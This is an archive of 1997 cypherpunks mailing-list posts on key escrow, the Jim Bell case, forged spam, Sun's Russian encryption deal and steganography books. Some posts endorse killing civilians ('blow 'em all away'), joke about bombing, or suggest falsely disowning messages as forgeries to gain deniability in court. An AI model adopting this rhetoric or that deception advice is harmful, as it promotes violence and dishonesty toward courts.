PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Thu, 22 May 1997 15:20:22 +0800
To: cypherpunks@cyberpass.net
Subject: The Natives Are Getting Restless (was Wine Politics Again!)
Message-ID: <3.0.32.19970522000739.00709ce0@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain


Attila T. Hun wrote:

>    as for the great fairweather liberal bigot Blanc's passing it off 
>    as tcm's drunken ramblings, I doubt it.  war is hell, and 
>    "innocents" get wasted --but, a society at war has no innocents.  
>    blow 'em all away.  scorched earth is inadequate; burnt earth is 
>    more effective. if there are no prisoners, there are no 
>    complainers.
...............................................................


If we were out in the field, you'd get fragged for calling me that.  <g>

If this society is at war, it is a Civil War, fighting against itself.   In
fact, there are many groups fighting against each other, on many different
levels:  racial, gender-based, religious, economic, philosophical, not to
leave out political.    Companies are fighting each other "tooth & nail"
for survival in marketing turfs, races are still exchanging vicious barbs,
homosexuals are under verbal & physical attack by the socially "normed",
the poor still envy & disparage the rich, women & children seem more than
ever to be at risk to attacks from roving sex perverts, the liberals would
love to put the libertarians under, religious groups lecture against the
moral depravity of all those "other" people, and half the country is either
stocking up for a National Disaster or forming into militia groups or other
Think Tanks to fight some sort of government encroachment (even the health
food stores where I shop are always posting sign-up sheets to vote against
something or another the government wants to ban or some right-of-choice
that is being threatened by proposed legislation).  

There are little battles raging on all around us, not only the fight for
privacy-by-encryption which you all are aware of.   Some cpunks have stated
that "society doesn't know or care what is happening".   Some of youall
don't know the kinds of battles or other people/groups are having, either
with government or with some opposing members of this same society.   There
is a lot of information out in the world competing for attention and
resources - on the net, on the intranet, in the TV, in the newspapers, in
magazines, in major newsletters, local newspapers, in posting on kiosks
("Get the US out of Nicaragua! " (sure, when I have a few free minutes and
a couple of extra bucks")).  

How can one keep up with/contribute to all of these?    So many times, I
will happen to read accounts of people who have got into trouble of some
kind, or down on their luck (they lost their job and don't have skills,
they need a heart transplant, they got jailed by mistake, the car
dealership gave them a bum deal), and they decide that society  doesn't
really know what is happening and complain that it is unsympathetic and
lament "when will society wake up and realize that something needs to be
done", etc..   Well, jeez, there's only so much time to spend on everybody
else's problems. 

All these people with their problems would like everyone one else to be
aware of their plight and sympathetic to their rights and to contribute to
their cause, and get disturbed about being "marginalized".  As far as I'm
concerned, everyone is "marginalized".   But people are behaving as
expected:   the Waco religious group acted as expected, the BATF acted as
expected; government employees behave as expected.   The cpunks, who know
so much about government, in particular the NSA & certain luminaries
related to privacy&encryption, should expect that things will go on as they
do - even if they bomb D.C. out of existence.   And this is because,
apparently,  people of this type & kind simply haven't evolved enough to
expect anything different.

Now, crypto was supposed to allow for the possibility of not having to deal
with these people directly;  it was supposed to usher in the new
technological era whereby one could "route around" and generally avoid
messing with Government Mongers, from negotiating for the right to breathe
on one's own Maintenance Schedule.   

Well, so much for an anarchic life of Independent Means.  I must say, from
the posts I've been reading these past several days, I haven't seen very
imaginative ideas for dealing with the problems which dull governments
create.   It is typical of dull governments that when pressed to the wall
they resort to desperate, mediocre ways of dealing with problems - like
obfuscation, exaggerated charges of evil intent, physical violence; all
signs of a limited intellectual capacity for coming to terms with the facts
of reality  (the problems they face as Protectors of Goodness & Justice
(tm) ).   

I would have expected newer, more creative ("evolved") ideas from
scientists, mathematicians, physicists, computer-savvy members.   

    ..
Blanc
    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 22 May 1997 16:43:37 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: Hey, what does this mean?
In-Reply-To: <Pine.GSO.3.95.970521163045.13177M-100000@ece>
Message-ID: <3.0.1.32.19970522012455.00745ae8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:45 PM 5/21/97 -0400, Rabid Wombat wrote:
>Didn't a member of congress describe, in session, in detail, how to make a
>bomb, quoting instructions found on the Internet? Wouldn't this make
>possesion of the Congressional Record a felony? Anybody able to cite this
>reference? 

>On Wed, 21 May 1997, Ryan Anderson wrote:
>> Felony count of possession of bomb-making instructions?  *INSTRUCTIONS*?

Step back a sec, folks, Tim's article _was_ satire... (at least for now.)

On the other hand, a number of Senators have emailed me about the CDA and
instructions for making bombs and blowing up government buildings
(Amazing what you can get an auto-responder to do! :-)  Some of them
truncated their replies to 80 characters, and the House's email responder
was far more boring.  

Remember - November 5th, barrels of gunpowder in the basement,
and don't get caught this time!


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 22 May 1997 19:00:52 +0800
To: cypherpunks@toad.com
Subject: Key Recovery / The True Story
Message-ID: <199705221040.DAA09748@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


  When Key Recovery and Key Escrow schemes become a fact of life, there
will be abuse and fraud of the nature that some on the cypherpunks list
have expressed concern about.
  The grandmother who is arrested for plugging a parking meter will have
her computer confiscated so the authorities can search for evidence that
her plugging of the meter was pre-planned. Some $20,000/year clerk is
going to dip into someone else's funds to support their drug habit. And
some government spook is going to break into a church's computer to find
out if they are secret terrorists because they oppose this or that
government policy.
  The fact of the matter is, the government is perfectly happy with the
citizens' vocal opposition to these possibilities because it provides a
convenient smokescreen for the greater import of Key Escrow. They will
occasionally pop a Jim Bell, or a "pornographer" to justify their "need"
for Key Escrow, but they will let nature take its course until their
capacity to monitor everyone, everywhere, all the time, is an accepted
fact of life.

  The real reasons for the push for Key Recovery and Key Escrow are
centered on global concerns.
  World power is acquired and maintained by acquiring and manipulating
information and opinion. Countries and companies are helped to rise and
fall from prominence. One is supported, another is sabotaged. One
politician has his sins covered and another has them exposed.
  The rich and the powerful have always ruled, no matter what form the
government of the day takes. It has always been so.

  When the government disinformation specialists incite the citizens to
fight over pennies, it is to distract them while the rulers steal their
dollars. The chaos of the citizen is the friend of the government, so
they work to promote a chaos that will meet their needs.
  They allow us to have our Saviors, but if our J.F.K.'s and our Martin
Luther Kings get too powerful, then they are removed. The allow us to
have our victories, but there is always a 'rider' attached that takes
away yet another of our rights and freedoms.
  While we fight battles, the government fights wars.

  Anyone who believes that the attack on Jim Bell is not aimed at the
CypherPunks is a fool.
  While we fight battles, the government fights wars.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Thu, 22 May 1997 19:46:15 +0800
To: cypherpunks@toad.com
Subject: Re: Spam IS Free Speech
Message-ID: <Pine.SOL.3.96.970522041838.26834D-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



> Spam is interfering with the *real* victim's (the sendmail operator's) 
> ability to provide customer service; in a very real and fiscally 
> damaging way. 

It's worse than that; some asshole has just sent out a spam with a forged
return address at $$$$@unicorn.com. There is absolutely nothing I can do
to stop people sending such forgeries, yet my mailbox is about to explode
with megabytes of complaints and mailbombs. I hate to think what kind of
mess I'll have to deal with when I get back from my holiday next week. 

Anyone know how to track down the owner of 1-800-322-6169 EXT 2561, the
only contact information in the spam? I'm not in the US so I can't call
them to complain. Is there any way I and the spammees could take legal
action against them without spending vast amounts of money?

	Mark

P.S. Privtool 0.90 is just out at utopia.hacktic.nl; I'll send a proper
announcement soon. Privtool is a PGP-aware mail program for X-windows, see
details at http://www.unicorn.com/privtool/privtool.html.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ghio@temp0083.myriad.ml.org (Matthew Ghio)
Date: Thu, 22 May 1997 16:23:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hey, what does this mean?
In-Reply-To: <v03007804afa7d8fc47e2@[207.167.93.63]>
Message-ID: <199705220903.FAA13788@myriad.alias.net>
MIME-Version: 1.0
Content-Type: text/plain


> Anybody know what this means?
> 

It means that Tim May still has a sense of humor. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Thu, 22 May 1997 20:51:07 +0800
To: "Willaim H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <199705221224.HAA12708@mailhub.amaranth.com>
Message-ID: <Pine.SOL.3.96.970522052925.5017A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 22 May 1997, Willaim H. Geiger III wrote:

> I don't know what action if any you could do against this scumbag that
> would be worth the expence. I would contact whoever he is using as a mail
> gateway for his crap and see what if anything they are willing to do about
> this.

Thanks... unfortunately all I have is an IP address (206.9.80.114), which
resolves to somewhere at means.net. I've mailed them but guess they're all
asleep at the moment.

	Mark







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Thu, 22 May 1997 14:30:31 +0800
To: kent@songbird.com>
Subject: YUP:  Re: Wine Politics Again!
In-Reply-To: <XHL27D61w165w@bwalk.dm.com>
Message-ID: <199705220618.AAA01842@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970521:0304 dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) expostulated:

+ writes:

+> On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
+> [...]
+> >    as for the great fairweather liberal bigot Blanc's passing it off
+> >    as tcm's drunken ramblings, I doubt it.  war is hell, and
+> >    "innocents" get wasted --but, a society at war has no innocents.
+> >    blow 'em all away.  scorched earth is inadequate; burnt earth is
+> >    more effective. if there are no prisoners, there are no
+> >    complainers.
+>
+> Speaking of power corrupting, notice how the power to speak
+> anonymously has destroyed this poor souls brain.

+Fuck you, Kent.
    __________<

    thanx, Dimitri, I could not have replied more eloquently myself.

        and, I never had complainers after burnt earth actions. Kent
    is obviously jealous and angry he was not along for the ride 30+
    years ago.

    actually, I did abhor the policy sufficiently to resign a 
    commission w/o benefits and to suffer their standard means of
    discredit.

    I guess Kent is still wet behind the ears, no use wasting the time
    to clue him in on Hr. Doktor Professor.... 

 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 


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Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 22 May 1997 20:17:23 +0800
To: cypherpunks@toad.com
Subject: Re: Hey, what does this mean?
In-Reply-To: <199705220903.FAA13788@myriad.alias.net>
Message-ID: <6Zq47D4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ghio@temp0083.myriad.ml.org (Matthew Ghio) writes:

> > Anybody know what this means?
> >
>
> It means that Tim May still has a sense of humor. :)
>
That's good.  I would never guess from his list traffic.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Thu, 22 May 1997 23:02:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why I think Jim Bell is getting railroaded
Message-ID: <199705221413.HAA21211@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


>Before charging to the rescue its a good idea to make sure
>that you are rescuing the right person. Government agents
>also have the right not to be threatened with murder.

Threats are illogical.

  --Sarin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 20:38:59 +0800
To: Mark Grant <mark@unicorn.com>
Subject: Re: Spam IS Free Speech
In-Reply-To: <Pine.SOL.3.96.970522041838.26834D-100000@sirius.infonex.com>
Message-ID: <199705221224.HAA12708@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.SOL.3.96.970522041838.26834D-100000@sirius.infonex.com>, on
05/22/97 
   at 05:27 AM, Mark Grant <mark@unicorn.com> said:


>> Spam is interfering with the *real* victim's (the sendmail operator's) 
>> ability to provide customer service; in a very real and fiscally 
>> damaging way. 

>It's worse than that; some asshole has just sent out a spam with a forged
>return address at $$$$@unicorn.com. There is absolutely nothing I can do
>to stop people sending such forgeries, yet my mailbox is about to explode
>with megabytes of complaints and mailbombs. I hate to think what kind of
>mess I'll have to deal with when I get back from my holiday next week. 

>Anyone know how to track down the owner of 1-800-322-6169 EXT 2561, the
>only contact information in the spam? I'm not in the US so I can't call
>them to complain. Is there any way I and the spammees could take legal
>action against them without spending vast amounts of money?

>	Mark

>P.S. Privtool 0.90 is just out at utopia.hacktic.nl; I'll send a proper
>announcement soon. Privtool is a PGP-aware mail program for X-windows,
>see details at http://www.unicorn.com/privtool/privtool.html.


Well this seems to be some MLM scam, get rich quick scheme. The number
dumps you into a prerecorded voice message for the Global Prosparity Group
(I doubt that it is a registered name). You may be able to get more
information calling 1-618-692-3972. It seems to be a number for the
company that owns the 1-800 number and manages the mailboxes for the other
companies.

I don't know what action if any you could do against this scumbag that
would be worth the expence. I would contact whoever he is using as a mail
gateway for his crap and see what if anything they are willing to do about
this.

Hope this helps,

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: "640K ought to be enough for anybody." - Bill Gates, 1981

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 23:40:47 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: News about Sun and Elvis
Message-ID: <19970522072222.19267@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


-----Forwarded message from "Judas, Roland" <rj@medos.de>-----
From: "Judas, Roland" <rj@medos.de>
To: "'firewalls@greatcircle.com'" <firewalls@GreatCircle.COM>
Subject: News about Sun and Elvis
Date: Thu, 22 May 1997 09:36:44 +0100
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.995.52
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Sender: firewalls-owner@GreatCircle.COM
Precedence: bulk

---  White House Reviews Sun's Encryption Initiative  ---
By John Fontana, Communications Week

WASHINGTON-The Clinton administration said it is reviewing the 
relationship between Sun Microsystems and a Russian  company that 
produces a strong encryption product, which  Sun is licensing for 
worldwide distribution.
The White House issued a statement last night, saying, "We  are 
reviewing our regulatory posture with Sun to ensure that  their 
arrangement with the Russian encryption company is in  compliance with 
U.S. export controls."
The Department of  Commerce, which is responsible for export 
regulations on strong encryption, stressed that the administration was 
 reviewing the relationship and not conducting an  investigation, a 
spokesman said.
Last week, Sun, in Mountain View, Calif., told Communications Week 
that it had licensed an encryption product from Moscow, Russia-based 
Elvis+ Co., which offers 128-bit keys and would resell it  worldwide 
under the name PC Sunscreen SKIP Elvis+. Sun  has approximately a 10 
percent equity stake in Elvis+, whose product is based on Sun's Simple 
Key Management for IP  (SKIP) protocol. The specification was 
published nearly two  years ago.
Humphrey Polanen, general manager of Sun's security and  electronic 
commerce group, was confident the government  would find Sun "in full 
compliance with the letter of the law."  He said a key factor was that 
Sun offered no technical  assistance in the development of the 
software.
U.S. law bars the export of encryption over 56 bits without 
 government approval. Companies seeking to export 56-bit  products 
must also have a system in place within two years  for key recovery.
Netscape Communications, also of Mountain View, has followed that path 
with its  browser software, but Sun has neither government approval 
 nor a method to recover keys. The administration wants access to keys 
in cases of criminal investigations. It is  concerned that strong 
encryption products could fall into the hands of terrorists, even 
though similar products are  available from nearly 30 foreign 
companies.
The statement from the White House also said it had not  evaluated the 
product and could not comment on it.
If found in violation of export controls, Sun could face civil  and/or 
criminal penalties. Criminal penalties, which would be  handed out by 
the Justice Department, could mean Sun  executive officers would spend 
time in a federal prison. At press time, Sun had not seen the 
announcement and would  not comment.
"The administration may have to go after Sun to protect the  integrity 
of its policy," said Marc Rotenberg, the director of  the Electronic 
Privacy Information Center. "You might see the  ,Zimmerman effect,' 
which would be tremendous public sympathy."
Rotenberg is referring to Phillip Zimmerman, who won a  battle with 
the government over his Pretty Good Privacy  encryption product, which 
was distributed free over the  Internet.
"The White House is at risk by going after a U.S. company  for making 
a good product," Rotenberg said. "This is one  more reason to think 
the administration's cryptography policy  is not long for this 
world."
Three bills attacking the administration's policy are being  discussed 
on Capitol Hill, but only one, the Security and  Freedom through 
Encryption Act, has made it out of  committee. The bill, which was 
authored by Rep. Bob Goodlatte (R-Va), would prohibit mandatory key 
recovery.
President Clinton is opposed to the bill in its current form.

-----End of forwarded message-----

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 22 May 1997 20:44:25 +0800
To: cypherpunks@toad.com
Subject: Re: "You have the right to remain silent"
Message-ID: <199705221229.IAA20553@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May wrote:

> The latest example being the Ramsey case in Boulder ("Home of PGP"). Much
> is made of the fact that the Ramseys, not being under arrest, are not
> required to *say anything* to the police. (Left unanswered is why innocent
> parents whose daughter has been brutally murdered would choose to say
> nothing to the police...even I, a skeptic about much that modern cops are
> involved in, am suspicious of the Ramseys for their noncooperativeness.)

  The noncooperation of the Ramseys does not reflect on their guilt or
innocence, but on the fact that they have an excellent lawyer. People
who have average lawyers, or even good ones, have a much greater chance
of being convicted of a crime that they did not commit.
  When the police interview you, they have information or evidence that
you and your lawyer aren't aware of. Their job is to get you to make
statements that can be used against you in the future if you are charged
with a crime. They attempt to lead you into making an innocent statement
such as, "I eat eggs sometimes." and the next thing you know you are in
court with a prosecutor repeating it and pointing at you accusingly.

  The fact of the matter is that guilt or innocence is no longer decided
on real evidence, for the most part. *Circumstantial* evidence rules the
roost, and it has been perverted to become a battle of which lawyer can
spin the most convincing tale around indefinite evidence.
  So you go to jail because you drive a red truck, smoke camels and own
a pair of brown socks (despite the fact that all of the witnesses
described someone who was a foot taller and a hundred pounds heavier).

  How is this crypto relevant? It is yet another symptom of why we are 
losing our privacy and our freedom.
  The Ramseys should live in a world where they can put trust in their
government and tell them everything that might remotely help find their
child's murderer, instead of unjustly ending up on the chopping block 
themselves. Cypherpunks should live in a world where they can share
their logs with the government to help them catch a child murderer and
know that their cooperation will not be used to abuse themself or others
who use the remailers.
  What about the cooperation of Jim Bell's friends. The newspapers
report that his friends say they talked about this or that in a
joking manner (or somesuch innocuous way), but you can bet your
bottom dollar that this is not mentioned on the application for
an arrest warrant. When the police interview you and ask you if
you plan to kill the president, answer, "Yes. When pigs fly."
Which part of your statement will they neglect to mention when
they file the charges against you? (Take a wild guess on this
one.)

  If you have joined in the discussion of the AP Bot, then I hope
that you saved *all* of your posts, because the government will
be introducing the ones where you described a possible implementation
but not the posts where you described the system as unfeasible and
unrealistic.
  If Jim Bell and his friends had the Ramseys' lawyer they wouldn't
have been so quick to supply information which can be twisted and
perverted to support Bell's persecution.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 22:19:36 +0800
To: cypherpunks@toad.com
Subject: Re: "You have the right to remain silent"
In-Reply-To: <199705221229.IAA20553@dhp.com>
Message-ID: <199705221358.IAA14054@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221229.IAA20553@dhp.com>, on 05/22/97 
   at 06:29 AM, lucifer@dhp.com (lucifer Anonymous Remailer) said:

>  If Jim Bell and his friends had the Ramseys' lawyer they wouldn't have
>been so quick to supply information which can be twisted and perverted to
>support Bell's persecution.

Absolutly,

Tell the bastards nothing but name rank and SS#.

Last month a local conservitive talk radio host was bemoning the fact the
the Ramsey's were not cooperating with the police and why the police
couldn't just go down and make them talk to them. I called in and he was
quite shocked when I explained that:

1) Under the 5th Amendment one is not required to give any assistance to
the police in a criminal investegation.

2) That the Ramsey's were prime suspects after 48hrs and no suspect was
found.

3) That this was SOP for the LEA's to go after family members/friends of a
murder victim even though, on average, 1/3 of murders in the US are
commited by strangers and this figure is incresing.

4) He really should have known better. :)


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: See the Future; See OS/2.  Be the Future; Run OS/2.

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Hartmut Korth" <hartmut-korth@msn.com> (by way of Alec <camcc@abraxis.com>)
Date: Thu, 22 May 1997 22:07:29 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: AW: Good book on stegano?
Message-ID: <3.0.2.32.19970522091240.007b92a0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


Von: 	Chevreau Sylvain
Gesendet: 	Freitag, 16. Mai 1997 02:37
An: 	stegano-l
Betreff: 	RE: Good book on stegano?

Hi everybody, hi Deepa,

1) Maybe the tutorial/review is being written in some university or company, 
e.g. for the planed 2nd Int. Workshop on Information Hiding or other 
publications or internally. Who knows?

Because there have been several seperate publications and first compilations 
in various media in '96 and I haven't yet found any technical paper about 
steganography published in 1997. Has anybody?

My feeling is everybody is reviewing right now!

2) Actually there are already at least 2 BOOKS dedicated to steganography:

 - "Disappearing cryptography" by Peter Wayner (pcw@access.digex.net),
the review of which can be found in the CIPHER newsletter #19 (or was it 
18?) & #20.

[How to get first contact with Cipher, "Newsletter of the IEEE Computer 
Society's TC on Security and Privacy" :
BACK ISSUES:
 There is an archive that includes each copy distributed so far, in ascii,
 in files you can download at URL
 http://www.itd.nrl.navy.mil/ITD/5540/ieee/cipher/cipher-archive.html
 There is also an anonymous FTP server that contains the same files.
 To access the archive via anonymous FTP:
 1. ftp www.itd.nrl.navy.mil
 2. At prompt for ID, enter "anonymous"
 3. At prompt for password, enter your actual, full e-mail address
 4. Once you are logged in, change to the Cipher Directory:
    cd pub/cipher
 5. Now you can request any of the files containing Cipher issues in ascii.
    Issues are named in the form: EI#N.9612  where N is the number of the
    issue desired and 9612 captures the year and month it appeared.
]

 - "Information Hiding", edited by Ross Anderson, Springer Verlag
Proceedings of the 1st International Workshop held in Cambridge, U.K., in 
May/June 96
Infos at URL http://www.cl.cam.ac.uk/users/rja14 (see section 'Privacy and 
Freedom issues').


3) To answer your question anyway, I would advise you to take a look at this 
nice page I've discovered recently (NEW: it's 1 month old!) :

http://www-nt.e-technik.uni-erlangen.de/~hartung/watermarkinglinks.html
Thanks to Frank Hartung by the way.

Here you will find easily several links to past BIBLIOGRAPHIES for past 
years,
and also have on overview of what's the hell is happening !!!

Good readings,
Sylvain

Sylvain Chevreau
ChevreauS@tce-rdf.fr for now, ChevreauS@thmulti.com from June on.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 22 May 1997 22:29:41 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221337.OAA00948@server.test.net>
Message-ID: <199705221414.JAA14267@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221337.OAA00948@server.test.net>, on 05/22/97 
   at 07:37 AM, Adam Back <aba@dcs.ex.ac.uk> said:


>John Deters <jad@dsddhc.com> writes:
>> No, spam DOES cost the victim.  I'm not saying that the victim is the spam
>> recipient.  Think of the ISPs that are the victims of Spamford's
>> CyberPromotions.  Yes, victims.  [...]
>>
>> This situation is the exact situation that has entangled my ISP for the
>> last couple of months.
>> 
>> Are you telling me that being subjected to a jack-boot investigation for
>> running pyramid schemes *and* having your customers leave because they
>> can't get mail services is a reasonable expense to bear because of
>> Spamford's "right to free speech"?  Spamford's speech (or that of his
>> "customers") isn't even directed at the sendmail operator or his customers.
>>  The sendmail operator above is merely being used by Spamford as a
>> megaphone to broadcast the message of spam to other people (who really
>> don't want it, either, but that's beside the point.)
>> 
>> It's no longer the same as shouting down the marketing researcher.  
>> 
>> [your unmetered rented mega phone analogy]

>The problem is that you and most of the rest of the internet world are
>renting your mega phones/accounts out without charging for usage volume. 
>You are also allowing completely free use of your account as a recipient,
>and completely free use of your sendmail as a mail hub service.

>If this causes you grief, you need to start metering, and charging
>postage to receive mail, and metering mail hub usage.

Bullshit! No metering of accounts is required. All that needs to be done
is blocking of all mail from Spamford's sites. He nor anyone else has a
"right" to use my equipment. If Spamford uses my equipment without my
permission he can be charged with criminal trespass. I am under no
contract with Spamford and am under no obligation to provide him so much
as 1 bit worth of bandwidth.

I have no problem with Spamford's free speech rights. He can go out buy a
bullhorn stand on a street corner and shout to his harts content. He does
not have the right to kick in my door stand on my coffee table and say a
word.

Just because one has the right of free speech does not mean that we have
to be forced to listen.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: To whom the gods destroy, they first teach Windows...

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4Rixo9Co1n+aLhhAQHpdQP+KO9at62EiWvECR6v42/mA6UjQ1GgfSk0
h+rpEDMa8wJTKENZ6wicEOjb/sccAhnlHXQC41bo7Ulv32JxaIxi02nLSZ5hjCcS
mK1jEr7Kwy+SjzrzxOMjSu8+Ml40JwSU7PV2fg83Zqmt03b1cJDlbcWVWRTHxRdC
L08UTX1jq4A=
=swAx
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 00:33:51 +0800
To: Mark Grant <cypherpunks@toad.com
Subject: Forgeries are your Friend
In-Reply-To: <Pine.SOL.3.96.970522041838.26834D-100000@sirius.infonex.com>
Message-ID: <v03007800afaa2d1c4b3a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:27 AM -0800 5/22/97, Mark Grant wrote:
>> Spam is interfering with the *real* victim's (the sendmail operator's)
>> ability to provide customer service; in a very real and fiscally
>> damaging way.
>
>It's worse than that; some asshole has just sent out a spam with a forged
>return address at $$$$@unicorn.com. There is absolutely nothing I can do
>to stop people sending such forgeries, yet my mailbox is about to explode
>with megabytes of complaints and mailbombs. I hate to think what kind of
>mess I'll have to deal with when I get back from my holiday next week.

There are some advantages to having posts and messages forged in one's name.

Think: plausible deniability in a courtroom.

"And can you _prove_ that the article you claim my client sent to Mr. Bell
was actually written by him, and was not one of the many forgeries in my
client's name?"

I'm pretty glad I never started PGP-signing my posts, actually. I've
exchanged messages at various times with various people, and the
"non-ironclad" authorship of some of these articles may turn out to be
useful. I can always claim an article was one of Detweiler's forgeries. Or
one of the more sophisticated forgeries now being seen.

(Somewhat worrisome to me in this witch-hunting atmosphere was a special
mailing list of "activists" I was invited to join a couple of years ago. I
did join this list, but left after various acts of bombings and vengeance
were discussed. I now suspect that a couple of the most extreme
"provocateurs" were BATFags and other goons.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 01:37:47 +0800
To: cypherpunks@toad.com
Subject: Re: Forgeries are your Friend
In-Reply-To: <Pine.SOL.3.96.970522041838.26834D-100000@sirius.infonex.com>
Message-ID: <v03007801afaa35704022@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


I want to expand on one of the points I just made. As I think about the
issue more, the more I see signings of posts as being more of a help to my
enemies (prosecutors, in this context) and less of a help to my friends.

At 9:14 AM -0800 5/22/97, Tim May wrote:


>"And can you _prove_ that the article you claim my client sent to Mr. Bell
>was actually written by him, and was not one of the many forgeries in my
>client's name?"
>
>I'm pretty glad I never started PGP-signing my posts, actually. I've
>exchanged messages at various times with various people, and the
>"non-ironclad" authorship of some of these articles may turn out to be
>useful. I can always claim an article was one of Detweiler's forgeries. Or
>one of the more sophisticated forgeries now being seen.

